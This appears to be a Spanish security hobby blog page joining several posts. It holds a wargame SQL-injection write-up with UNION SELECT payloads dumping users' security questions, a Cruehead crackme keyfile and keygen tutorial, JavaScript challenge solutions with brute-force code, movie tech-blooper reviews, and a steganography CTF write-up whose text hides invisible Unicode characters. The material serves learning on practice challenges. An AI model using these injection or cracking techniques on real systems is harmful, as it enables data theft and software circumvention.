SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Con The Ring inauguro una nueva sección llamada Blooper Tech Movie (BTM), algo así como pifias o tomas falsas tecnológicas en películas. Aunque no os lo creáis, los creadores del séptimo arte y sus asesores son humanos, y como tal se rigen por la ley del mínimo esfuerzo. En este BTM vamos a ver como una simple escena nos puede arruinar la excelente atmósfera de intriga que hasta ese momento se respiraba.

BTM

Transcurridos 70 minutos de película vemos que la protagonista está en una redacción buscando información sobre la maldita cinta de vídeo en un PC.

vlcsnap-2015-11-22-01h10m04s660

Hasta aquí todo correcto, pero instantes después vemos que realiza una búsqueda sobre «Moesko Islands» y cuando se abre el plano y podemos ver la barra de direcciones, en realidad vemos un archivo local situado en «C:\WIN98\Desktop\search.com\2_moesko_island_pt2.html«. A continuación la secuencia, se pueden ver los enlaces «locales» en el segundo 13 y 17.

vlcsnap-2015-11-22-01h10m52s727

Imagen 1 – «C:\WIN98\Desktop\search.com\2_moesko_island_pt2.html»

vlcsnap-2015-11-22-01h11m25s822

Imagen 2 – «C:\WIN98\Desktop\search.com\restoration.html»

Teniendo en cuenta que la película data del año 2002, me parece increíble que los productores no se lo curraran un poco más y registraran un dominio como «jdoesearch.com» y simularan que se realizan las búsquedas ONline y no OFFline como se están haciendo en realidad.

Quizá no tenían pensado mostrar la parte superior del navegador o simplemente pensaron que nadie se fijaría pero el caso es que para cualquiera que haya navegado por Internet más de 2 veces, si se fija en la barra de direcciones su expresión facial cambia a WTF!.

ring_sello

Enlaces


Primeras impresiones Analizamos el programa con PEiD y nos muestra que está hecho en ensamblador. Unas pruebas introduciendo datos nos
Introducción Continuamos con la segunda entrega de Cruehead. En este caso nos encontramos con un único campo de contraseña para
Introducción Activar un botón en memoria Activar el botón de forma permanente Serial Hardcodeado Links Introducción Este crackme pertenece a

Introducción

Esta es la tercera y última entrega de los crackmes de Cruehead. En esta ocasión nos enfrentamos a un «keyfile«, un archivo llave para que nos entendamos. Tiene un poco más de dificultad que los anteriores pero es ideal para los que empiezan.

El algoritmo

Si iniciamos el crackme no pasa nada, lo único que vemos es la palabra «UNCRACKED» en el título. Abrimos el crackme con Olly y empezamos. En las «string references» vemos el nombre del archivo llave «crackme3.key«. Lo creamos y escribimos el serial 12345678 y empezamos a tracear.

El CMP EAX,-1 significa que está comprobando que el archivo no esté vacio, como no es nuestro caso continuamos.

07-09-2014 13-02-12

A continuación vemos que compara nuestra longitud de serial con 0x12 (18 en decimal). Nuestro serial tiene 8 dígitos así que nos tira fuera.

07-09-2014 13-07-59

Escribimos en el archivo llave el serial «deurus123456789012» y volvemos a tracear. Vemos que ahora si pasa los filtros iniciales y llegamos a la primera zona interesante. En la imágen está explicado pero os hago un resumen. En el bucle lo que hace es un XOR a los primeros 14 dígitos de nuestro serial con los valores del 41 al 4E (4F finaliza). El bucle solo se rompe si llegamos a 4F o si el resultado del XOR da 0. Además en EAX acumula la suma del resultado del XOR.

07-09-2014 17-13-57

Ejemplo:

d  e  u  r  u  s  1  2  3  4  5  6  7  8  9  0  1  2
64 65 75 72 75 73 31 32 33 34 35 36 37 38
                                          XOR
41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E
-----------------------------------------
25 27 36 36 30 35 76 7A 7A 7E 7E 7A 7A 76 = 4ED (Suma)

A continuación hace XOR entre 12345678 y 4ED, coge los 4 últimos dígitos de nuestro serial y los compara.

07-09-2014 17-23-45

Ejemplo:

12345678 XOR 4ED = 12345295
Compara 12345295 con 32313039
32313039 = 2109, nuestros 4 últimos dígitos al revés. Recordemos que nuestro serial era "deurus123456789012"

 El serial bueno para el nombre deurus12345678 serían los bytes correspondientes de «12345295», es decir, nuestro serial bueno sería:

Ejemplo:

Necesitamos 12345295 para la comparación.
12 34 52 95 hexadecimal
18 52 82 149 decimal
Tenemos que escribirlo al revés. Con Alt-Izq + 149 escribimos el primer caracter, el resto igual.
Nuestro serial quedaría: deurus12345678òR4↕

Metemos el serial y vemos que lo acepta pero que nos muestra un nombre extraño. Esto es por que nos está mostrando los bytes del nombre xoreados, tendremos que hacer un XOR antes al nombre que queramos para que lo muestre correctamente.

07-09-2014 18-15-19

Recapitulando

Con lo que sabemos ahora hay que empezar a coger el toro por los cuernos. Lo primero que queremos que muestre el nombre deurus y no deurus12345678. Para ello debemos cortar el bucle y eso solo lo podemos hacer forzando que el resultado del XOR sea 0. Ok pues para deurus el siguiente valor de BL, es decir el séptimo, en el bucle sería 47 lo que corresponde a la letra G. Pues si ponemos de serial deurusGxxxxxxxxxxx ya tendríamos la primera parte solucionada.

Pero recordemos que necesitamos XORear el nombre inicialmente, luego debemos escribir  el resultado del XOR.

Ejemplo:

d  e  u  r  u  s  
64 65 75 72 75 73
                  XOR
41 42 43 44 45 46
-----------------
25 27 36 36 30 35

25 27 36 36 30 35 ----- debemos meter esto en el archivo llave.
                  XOR
41 42 43 44 45 46
-----------------
64 65 75 72 75 73 ----- Al desencriptarlo el bucle se verá nuestro nombre correctamente.

En el archivo llave escribiriamos: %'6605

Ahora nos faltaría calcular el nuevo SUM. Como el resultado del XOR ahora es nuestro nombre, basta con sumar sus valores ascii (64+65+75+72+75+73 == 0x298)

0x12345678 XOR 0x298 == 0x123454E0

Luego nuestros 4 últimos dígitos deben ser lo correspondiente a los bytes E0, 54, 34, 12. Los pasamos a decimal y los escribimos en el archivo llave con el truco del ALT-Izq que hemos comentado antes.

El contenido final del archivo llave para el nombre deurus sería:

%’6605GxxxxxxxÓT4↕

07-09-2014 16-55-15

Aquí vemos el archivo llave normal.

keyfiletext

Y aquí lo vemos con un editor hexadecimal. Como veis se ven claramente los bytes E0, 54, 34, 12.

keyfilehex

Os dejo un keygen hecho en .Net para que probéis. Os genera el contenido del archivo y el archivo «crackme3.key».

keygen

Links


Introducción Javascript 1 (Serial a la vista) Javascript 2 (La función charAt()) Javascript 3 (Input) Javascript 4 (Fuerza bruta manual) Javascript
Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar
En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity
http://youtu.be/mk_rzitZ4CM Lista de reproducción

Introducción

Los retos de Javascript son los retos más sencillos que podemos encontrar. Muchas veces solamente mirando el código fuente obtenemos la respuesta. Suponen una mala implementación de seguridad debido a que el código se ejecuta del lado del cliente, por lo que el código fuente es accesible y por lo tanto, javascript no garantiza seguridad alguna. En estos cinco casos haremos un recorrido por lo más básico, cinco retos fáciles de superar y que nos proporcionan los conocimientos base para Javascript. Dicho esto os puedo asegurar que en ocasiones he encontrado retos javascript realmente complicados que requieren de horas descifrarlos y en los que es fácil tirar la toalla.

Cuando el reto lo requiera, es buena idea utilizar un compilador online para obtener de forma rápida el valor de una variable o realizar una prueba concreta. Yo utilizo Jsfiddle para realizar pruebas pero existen muchos más.

Javascript 1

Este primer reto es lo básico, en el código fuente se pueden apreciar directamente el usuario y la clave.

<script language=JavaScript>
function Verify(name,pass)
{
if (name=="admin" & pass=="3***3")
	{
	location.href = name + pass + '.htm';
	}
else 
	{
	alert("Si ya fallamos el primero...");
	};
}
</script>

Javascript 2

Este segundo reto es bastante sencillo pero ya te obliga a conocer la función charAt() de Javascript. Dicha función lo que hace es coger el caracter indicado mediante un índice que comienza en cero. Por ejemplo si nombre = deurus y hacemos letra = nombre.charAt(3), estariámos extrayendo la cuarta letra, es decir, la letra r de la variable nombre.

function Verify(name,pass)
{
var name1 = "CrawlinG", pass1 = "capriccio"
	if (name==name1 & pass==pass1)
	{
	location.href = name + ".htm";
	}
else 
	{
	var x =  name1.charAt(7) + pass1.charAt(3)+ name1.charAt(2) + pass1.charAt(5) +  name1.charAt(5) + pass1.charAt(1);x = x.toLowerCase();
	var y =  name.charAt(3) + name.charAt(1) + pass.charAt(1)+ pass.charAt(6) +  pass.charAt(7) + name.charAt(2);var x1 = "des" + y;
	if (x==y){location.href = x1 + ".htm"}else{alert("Esto no va bien");location.href = "js2.htm"}
	}
}

Lo interesante está en la formación de las variables x e y. La variable x se forma de las variables name1 y pass1, formando la palabra gracia. Por otro lado, la variable y se forma con el nombre y clave que introduzcamos nosotros. Vemos que la variable x e y deben ser iguales, por lo tanto debemos construir un nombre (name) y una clave (pass) que cumpla con lo siguiente:

  • 4ª letra del nombre = 1ª letra de la palabra «gracia»
  • 2ª letra del nombre = 2ª letra de la palabra «gracia»
  • 2ª letra de la clave = 3ª letra de la palabra «gracia»
  • 7ª letra de la clave = 4ª letra de la palabra «gracia»
  • 8ª letra de la clave = 5ª letra de la palabra «graci
  • 3ª letra del nombre = 6ª letra de la palabra «gracia«

Como véis simplemente se trata de interpretar correctamente la función charAt() y de fijarse bien en los nombres de las variables.

Javascript 3

Este reto nos muestra diálogo donde nos pide la contraseña para validar el reto. Al fallar  o cancelar vuelve al índice para no dejarnos ver el código fuente. Aquí se pueden seguir varios caminos como bloquear el uso de javascript en el navegador o instalar un plugin en chrome o firefox para habilitar/deshabilitar de forma rápida el uso de javascript.

Una vez deshabilitado javascript vemos lo siguiente:

<script language="JavaScript" src="js3.gif" type=text/javascript>
<!--
function verify()
{
var pass="thebest";
var password=prompt("Introduce el password para superar el nivel","");
	if (password==pass)
		{
		location.href = pass + ".htm";
		}
	else
		{
		alert("No vamos bien...");
		location.href = "index.htm";
		}
}
//-->
</script>

Aquí el truco es darse cuenta que el código que se está ejecutando esta en «js3.gif» y no el código que nos muestra como válida la clave thebest. Si descargamos el archivo js3.gif y lo abrimos con un archivo de texto vemos nuestra querida clave.

function verify()
{
var pass="mo****ver";
var password=prompt("Introduce el password para superar el nivel","");
	if (password==pass)
		{
		location.href = pass + ".htm";
		}
	else
		{
		alert("No vamos bien...");
		location.href = "index.htm";
		}
}

Javascript 4

En este reto ya entramos con que la clave no es reversible y la debemos obtener por fuerza bruta. En este reto utiliza una nueva función como charCodeAt() que lo que hace es obtener el valor ascii del caracter indicado.

function Verify(pass1)
{
var cont1= 2, cont2= 6
var suma1 = 0, suma2 = 0
var pass2 = "FDRLF"
for(i = 0; i < pass1.length; i++) 
{
suma1 += (pass1.charCodeAt(i) * cont1);
cont1++
}
for(i = 0; i < pass2.length; i++) 
{
suma2 += (pass2.charCodeAt(i) * cont2);
cont2++
}
if (suma1==suma2)
{
window.location=suma1+".htm";
}
else
{
alert ("Algo no va bien...");
}
}

Vemos dos bucles en los que se calculan sendos valores suma que finalmente se comparan. la variable suma1 se calcula mediante nuestro password y la variable suma2 la obtiene de la palabra «FDRLF». Con el script que os muestro a continuación obtenemos que usando como clave deurus, suma1 = 3048 y suma2 = 2936. Nuestro punto de referencia es suma2 = 2936, de modo que vamos alterando con paciencia la variable pass1 obteniendo valores cercanos a 2936. Por ejemplo «deurua» nos da suma1 = 2922, un valor bastante cercano.

var pass1 = "deurus";
var cont1= 2, cont2= 6
var suma1 = 0, suma2 = 0
var pass2 = "FDRLF"
for(i = 0; i < pass1.length; i++) 
{
suma1 += (pass1.charCodeAt(i) * cont1);
cont1++
}
for(i = 0; i < pass2.length; i++) 
{
suma2 += (pass2.charCodeAt(i) * cont2);
cont2++
}
alert (suma1);
alert (suma2);

La solución a este reto es múltiple. Dos claves válidas son por ejemplo dfurqfzwfabz.

Javascript 5

Este último reto es similar al anterior pero ya nos obliga a crearnos una pequeña herramienta que nos busque el serial válido.

function Verify(pass)
{
var suma=0
var cadena = "abcdefghijklmnopqrstuvwxyz"
for (var i = 0; i < pass.length; i++) 
	{
	var letra = pass.charAt(i)
	var valor = (cadena.indexOf(letra))
	valor++
	suma *= 26
	suma += valor
	}
if (suma==6030912063)
	{
	window.location=pass+".htm";
	}
else
	{
	alert ("Algo no va bien...");
	}
}

Para esta ocasión utiliza una nueva función llamada indexOf() que lo que hace es devolver un número entero que representa la posición en la que se encuentra el parámetro pasado a la función. Por ejemplo, si tengo variable = deurus y realizo posición = variable.indexOf(«s»), obtengo como resultado 5 (se empieza a contar desde cero).

Las operaciones que realiza el bucle son las siguientes:

  • Coge las letras del nombre una a una.
  • valor = posición de nuestra letra dentro de la variable de texto llamada cadena.
  • valor = valor + 1.
  • Multiplica la variable suma por 26.
  • Suma = suma + valor.

Aunque el proceso de recuperación de esta clave es algo más largo, podemos acortarlo introduciendo una clave de inicio de fuerza bruta próxima al objetivo. Al ser una función bastante lineal podemos rápidamente mediante pruebas con nuestro código de fuerza bruta o con un compilador online, establecer que la clave tendrá 7 caracteres e incluso que para ahorrar tiempo podemos aproximar la clave para que su valor suma esté cercano al valor suma buscado 6030912063.

Realizando pruebas obtenemos:

  • Clave = aaaaaaa -> suma = 321272407
  • Clave = zzzzzzz -> suma = 8353082582
  • Clave = smaaaaa -> suma = 6024332887
  • Clave = smkkkkk -> suma = 6029085437

Como vemos, la clave smkkkkk ya está bastante próxima al objetivo y será un buen punto para lanzar la fuerza bruta.

Os dejo el código de fuerza bruta en .Net

Module Module1
    Sub Main()
inicio:
        Console.WriteLine("-------------------------")
        Console.WriteLine("Modo [1] Prueba password")
        Console.WriteLine("Modo [2] Fuerza bruta")
        Console.WriteLine("-------------------------")
        Dim modo = Console.ReadLine()
        '
        If modo = 2 Then
            Console.WriteLine("¿Password para comenzar?")
            Dim pass = Console.ReadLine()
inicio2:
            Dim cadena As String = "abcdefghijklmnopqrstuvwxyz"
            Dim valor As Integer = 0
            Dim suma As Long = 0
            Dim letra As String
            For i = 0 To pass.Length - 1
                letra = Mid(pass, i + 1, 1)
                valor = cadena.IndexOf(letra)
                valor += 1
                suma *= 26
                suma += valor
            Next
            Console.WriteLine("Password: " & pass & " - Sum: " & suma.ToString)
            pass = IncrementString(pass)
            If suma = 6030912063 Then
                MsgBox("Password is " & pass)
            Else
                If pass = "aaaaaaaa" Then
                    Console.WriteLine("pass not found")
                    Console.ReadKey()
                Else
                    GoTo inicio2
                End If
            End If
        End If
        '------------------------------------------------
        If modo = 1 Then
            Console.WriteLine("Password:")
            Dim pass = Console.ReadLine()
            Dim cadena As String = "abcdefghijklmnopqrstuvwxyz"
            Dim valor As Integer = 0
            Dim suma As Long = 0
            Dim letra As String
            For i = 0 To pass.Length - 1
                letra = Mid(pass, i + 1, 1)
                valor = cadena.IndexOf(letra)
                valor += 1
                suma *= 26
                suma += valor
            Next
            Console.WriteLine("Password: " & pass & " - Sum: " & suma.ToString)
            Console.WriteLine(".......")
            Console.WriteLine("Good = 6030912063")
            Console.WriteLine("Suma = " & suma.ToString)
            Console.ReadKey()
            Console.Clear()
            GoTo inicio
        End If
    End Sub
    Function IncrementString(ByVal strString As String) As String
        '
        ' Increments a string counter
        ' e.g.  "a" -> "b"
        '       "az" -> "ba"
        '       "zzz" -> "aaaa"
        '
        ' strString is the string to increment, assumed to be lower-case alphabetic
        ' Return value is the incremented string
        '
        Dim lngLenString As Long
        Dim strChar As String
        Dim lngI As Long

        lngLenString = Len(strString)
        ' Start at far right
        For lngI = lngLenString To 0 Step -1
            ' If we reach the far left then add an A and exit
            If lngI = 0 Then
                strString = "a" & strString
                Exit For
            End If
            ' Consider next character
            strChar = Mid(strString, lngI, 1)
            If strChar = "z" Then
                ' If we find Z then increment this to A
                ' and increment the character after this (in next loop iteration)
                strString = Left$(strString, lngI - 1) & "a" & Mid(strString, lngI + 1, lngLenString)
            Else
                ' Increment this non-Z and exit
                strString = Left$(strString, lngI - 1) & Chr(Asc(strChar) + 1) & Mid(strString, lngI + 1, lngLenString)
                Exit For
            End If
        Next lngI
        IncrementString = strString
        Exit Function

    End Function
End Module

Enlaces

Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar elementos tecnológicos que, vistos desde una perspectiva actual, nos sacan una sonrisa. Vamos a desmontar algunos gazapos tecnológicos y curiosidades relacionadas con los sistemas informáticos que aparecen en la película.

El escritorio de tres pantallas: ¿el futuro en 1995?

La protagonista, la Dra. Helen Hudson (Sigourney Weaver), trabaja en un escritorio con tres pantallas, algo futurista para la época. En 1995, esto no era tan común como hoy en día. Para lograrlo, probablemente necesitaría tres ordenadores conectados de forma independiente, ya que los sistemas operativos y hardware de la época no solían soportar múltiples monitores en una sola máquina. Esto plantea preguntas interesantes sobre la logística de su set-up: ¿Cómo sincronizaba su trabajo entre tres PCs?

Un detalle curioso es que, en algunas tomas, se distingue la marca Compaq en los equipos. Compaq era una de las compañías líderes en la fabricación de ordenadores personales durante los 90 y conocida por sus soluciones de alta calidad. Este dato refuerza la idea de que el set-up de Helen estaba diseñado para representar lo último en tecnología de la época, aunque hoy resulte un tanto rudimentario. La elección de Compaq no es casual: en ese momento, era sinónimo de equipos potentes, usados tanto en oficinas como en entornos domésticos avanzados.

Internet y la magia de los módems

En una escena, Helen navega por internet con lo que suponemos es un módem de 28.8 kbps (o como mucho, un flamante 33.6 kbps, tecnología de vanguardia allá por 1995). Hasta ahí, vale. Sin embargo, la fluidez de su conexión sorprende: carga archivos, recibe correos y no se queda esperando con una pantalla de “Conectando…”. Pero lo mejor llega cuando, estando conectada, ¡suena el teléfono! En la realidad, esto cortaría la conexión o comunicaría, a menos que tuviera dos líneas telefónicas (algo raro en domicilios particulares de la época) o algún dispositivo milagroso que no conocemos.

¿Qué sistema operativo usa?

Aunque no se distingue claramente el sistema operativo, vemos una interfaz gráfica con ventanas y una consola de comandos. Esto podría ser un guiño a Windows 3.1 o Windows 3.11, ya maduro en esa época aunque la interfaz no termina de encajar. Sin embargo, también podría ser una mezcla ficticia para hacer que el entorno luciera “tecnológico” sin comprometerse demasiado con la realidad. Detalle curioso: en los 90, las películas solían personalizar las interfaces para no tener problemas legales.

El email como el epicentro de la tecnología

En los 90, el email era el rey. En las películas, los escritorios siempre tenían un gran icono de correo (a menudo animado, porque lo cool siempre parpadeaba). En Copycat, Helen recibe un correo con un archivo AVI de unos 30 segundos, lo cual plantea otra duda técnica: ¿Cuánto espacio ocupaba ese archivo en 1995?

Un AVI de 30 segundos probablemente tendría una resolución baja (320×240 píxeles o menos) y una tasa de compresión eficiente para la época, pero aun así podría pesar entre 2 y 5 MB, dependiendo de la calidad del audio y vídeo. Eso hubiera supuesto una odisea por email, ya que los servidores de la época limitaban los adjuntos a unos pocos cientos de KB. ¿Quizás el villano usó un protocolo privado para saltarse las restricciones?

Tomorrow.AVI

Tras recibir un inquietante archivo AVI, la protagonista llama a la policía, lo que desencadena una conversación cargada de decisiones tecnológicas cuestionables:

  • «¿Cómo le han enviado esto?» / «Consiguiendo su dirección de internet»: El archivo es descrito como enviado a través de «su dirección de internet», un término extraño para la época en la que lo habitual habría sido referirse al correo electrónico. Esto refleja un intento de sonar sofisticado sin usar los términos correctos.
  • «¿No podríamos localizarlo?»: La respuesta de los policías es que no pueden rastrear el origen del archivo «a no ser que esté conectado». Sin embargo, incluso en 1995, las cabeceras de los emails contenían suficiente información para rastrear el servidor de origen, aunque la práctica era más rudimentaria que en la actualidad. Ignorar esto parece una licencia creativa del guion o un concepto equivocado de localizar asociándolo quizá a las llamadas telefónicas.
  • «Es demasiado grande para pasarlo a disco»: Aquí surge el principal obstáculo: el archivo AVI es considerado «demasiado grande» para transferirlo a un disquete de 3,5 pulgadas (con una capacidad máxima de 1,44 MB). Aunque esto tiene sentido desde una perspectiva técnica, resulta extraño que fuera posible enviarlo por email en primer lugar, dado que los servidores de correo de la época tenían limitaciones más estrictas que un disquete. Esto sugiere una inconsistencia en la lógica tecnológica de la escena.
  • «Lo pasaremos a vídeo»: Ante la imposibilidad de transferirlo a un disquete, la solución propuesta es convertir el archivo a un formato reproducible en un dispositivo analógico (probablemente una cinta VHS) para transportarlo físicamente. Aunque esta decisión es plausible dentro de las limitaciones tecnológicas de la época, omite soluciones más digitales, como volver a enviarlo por email (¿acaso la policía no tenía correo electrónico?). Además, surge la pregunta de por qué no se recurre a los forenses técnicos de la policía (o del FBI) para analizar el disco duro, quienes, curiosamente, no aparecen en ningún momento de la película.
  • «Oh, Dios. ¿Cómo sabes todas estas cosas?» / «Malgasté mi juventud en los salones de videojuegos»: Esta frase añade un toque humorístico, pero no tiene relación alguna con las habilidades necesarias para resolver el problema en cuestión. Más bien, refuerza la desconexión entre los diálogos y las acciones tecnológicas presentadas.

Conclusión

Copycat (1995) es un buen ejemplo de cómo el cine de los 90 abordaba la tecnología con una mezcla de admiración y confusión. Desde la exageración de tener tres monitores en el escritorio de Helen hasta la torpe gestión del archivo Tomorrow.AVI, la película refleja tanto las limitaciones tecnológicas de la época como las libertades creativas de los guionistas.

En el caso del archivo AVI, los personajes deciden que no se puede gestionar digitalmente y optan por convertirlo a vídeo analógico, ignorando soluciones más simples como volver a enviarlo por correo electrónico (suponiendo que fuera posible). Este detalle, combinado con la ausencia aparente de personal técnico en la policía, subraya una desconexión entre la narrativa y las capacidades reales de la tecnología, incluso para 1995.

Aunque estos detalles pueden parecer cómicos 30 años después, forman parte del encanto de un cine que imaginaba el futuro sin comprender del todo su presente. Más que errores, son un recordatorio de cómo la tecnología ha evolucionado y de cómo nuestra percepción de ella también lo ha hecho.

Enlaces

  • Copycat [IMDb]
  • Historia de Internet [Wikipedia]
  • Correo electrónico [Wikipedia]
  • Compaq [Wikipedia]
  • Silicon Cowboys: la historia de cómo Compaq retó (y venció) a IBM y Apple [Xataka]
  • Formato de vídeo AVI [Wikipedia]
  • Analysis of video file formats in forensics (.avi example) [DiViLine]

Galería

En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.

Sin más dilación extraemos el JPG y continuamos.

La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.

Al abrir el archivo TXT como texto vemos lo siguiente:

y si lo abrimos con un editor hexadecimal vemos esto otro:

Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)» y procesé de nuevo obteniendo por fin la ansiada flag.

RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00

Cleaned bytes [quitando this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC


clave XOR == 00fc60fb

Resultado
S   H   S   {   t   0   0   _   3   4   s   y   _   m   4   n   }